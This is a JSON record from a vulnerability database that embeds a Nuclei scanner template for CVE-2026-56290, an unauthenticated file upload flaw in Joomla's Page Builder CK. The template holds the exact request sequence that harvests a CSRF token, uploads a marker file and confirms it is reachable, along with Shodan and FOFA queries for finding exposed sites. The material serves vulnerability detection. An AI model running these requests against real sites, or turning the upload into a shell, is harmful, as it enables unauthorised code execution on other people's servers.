{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-56290/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-56290/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-56290/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-56290/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-56290/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-56290"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-56290"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-56290.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-56290\n\ninfo:\n  name: Page Builder CK <= 3.5.10 - Unauthenticated Arbitrary File Upload\n  author: panchiko-p,0x_Akoko\n  severity: critical\n  description: |\n   Joomla Page Builder CK contains an unrestricted file upload vulnerability caused by lack of proper validation, letting unauthenticated attackers upload executable files and achieve remote code execution.\n  impact: |\n   Unauthenticated attackers can upload executable files, leading to full remote code execution and complete system compromise.\n  remediation: |\n   Update to the latest version of Page Builder CK.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-56290\n    - https://cxsecurity.com/issue/WLB-2026070010\n    - https://www.exploit-db.com/exploits/52626\n    - https://www.cisa.gov/known-exploited-vulnerabilities-catalog\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-56290\n    epss-score: 0.30866\n    epss-percentile: 0.98171\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: joomlack\n    product: page_builder_ck\n    framework: joomla\n    shodan-query: http.html:\"com_pagebuilderck\"\n    fofa-query: body=\"com_pagebuilderck\"\n  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev\n\nvariables:\n  marker: \"{{to_lower(rand_base(8))}}\"\n\nflow: http(1) && http(2) && http(3)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"csrf\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: csrf_token\n        group: 1\n        internal: true\n        regex:\n          - 'name=\"([a-f0-9]{32})\"\\s+value=\"1\"'\n          - 'csrf\\.token\"\\s*:\\s*\"([a-f0-9]{32})\"'\n\n  - raw:\n      - |\n        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK\n        Referer: {{BaseURL}}/\n        Origin: {{BaseURL}}\n\n        ------WebKitFormBoundaryPBCK\n        Content-Disposition: form-data; name=\"path\"\n\n        media/com_pagebuilderck/gfonts/\n        ------WebKitFormBoundaryPBCK\n        Content-Disposition: form-data; name=\"file\"; filename=\"{{marker}}.txt\"\n        Content-Type: text/plain\n\n        CVE-2026-56290-{{marker}}\n        ------WebKitFormBoundaryPBCK--\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1\n        Host: {{Hostname}}\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"CVE-2026-56290-{{marker}}\")'\n        condition: and\n# digest: 4b0a00483046022100d0ca4a94395d3abc36e7f28bf5b9b3b241198f7ecdc03c0f359a5c6378789f77022100baffbde25d2e48b7a672b89a8250a4fd776d1d611013a088b1dcb2239118a981:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-56290"
}